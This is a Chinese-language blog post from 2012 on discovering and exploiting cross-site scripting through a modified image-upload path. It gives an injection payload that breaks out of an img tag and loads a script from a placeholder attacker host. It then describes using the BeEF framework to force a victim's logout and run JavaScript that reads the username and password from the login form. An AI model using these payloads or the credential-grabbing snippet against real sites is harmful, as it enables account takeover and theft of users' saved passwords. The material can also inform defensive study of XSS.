xss的发现与利用

作者:Secer 发布时间:June 25, 2012 分类:絮叨碎语

xss老生常谈了xss的发现也是有一些技巧的,这里介绍一种。
很多人习惯是直接输入一些特殊字符进行判断,其实吧,在你发送的时候抓一下包看下会有惊喜哦!
clip_image002

如上图,我抓的是一个图片上传的包,现在的很多大站都是通过js调用在你选择完图片之后马上上传,剩下的一些表单再填充。
这样在你提交的时候他通过获取上传的图片路径来判断你上传的图片在哪里,假设我们的路径为 pic/1.jpg
通常获取图片路径后是这样写的

1. <img src="http://example.com/pic/1.jpg">

这样我们修改一些图片的路径,便可插入我们的代码。例如:

1. "><script src="http://xxxx.oo/xxoo.js"></script>

针对的一些白名单黑名单的限制之类,如何绕过来插入js不在本文讨论范围之内。
恩,再说一个猥琐的利用方式,利用条件比较苛刻,但威力不错(获取用户记录在浏览器中的密码)。
介绍一下Beef自动攻击平台
1 Windows上安装beef非常详细的文章(需翻墙)
http://securityconscious.blogspo ... alling-beef-on.html
获取密码首先需要用户退出到登陆的界面,这个可以采用csrf来实现(一般的站很少有针对这个防御),或着你可以在他登陆的状态下插入一段js,来帮助他实现退出。这里我是已经在网页中插入的一段js,并且用户打开了那个页面重定向url模拟退出登录:
Browser里面的Redirect
Redirect URL: http://securityconscious.blogspot.com/2011/08/red-meat-series-installing-beef-on.html
clip_image004
退出后,此时就需要在他登陆的界面中也要有一段自己可控的js。(所以说鸡肋一些,不过鸡肋多了就不鸡肋了。)Misc里面的Raw JavaScript获取用户名和密码:

1. return document.getElementsByTagName('form')[0].getElementsByTagName('input')[0].value+':'+document.getElementsByTagName('form')[0].getElementsByTagName('input')[1].value;

 

返回结果如图
clip_image006
恩,成功获取。

标签: xss

添加新评论 »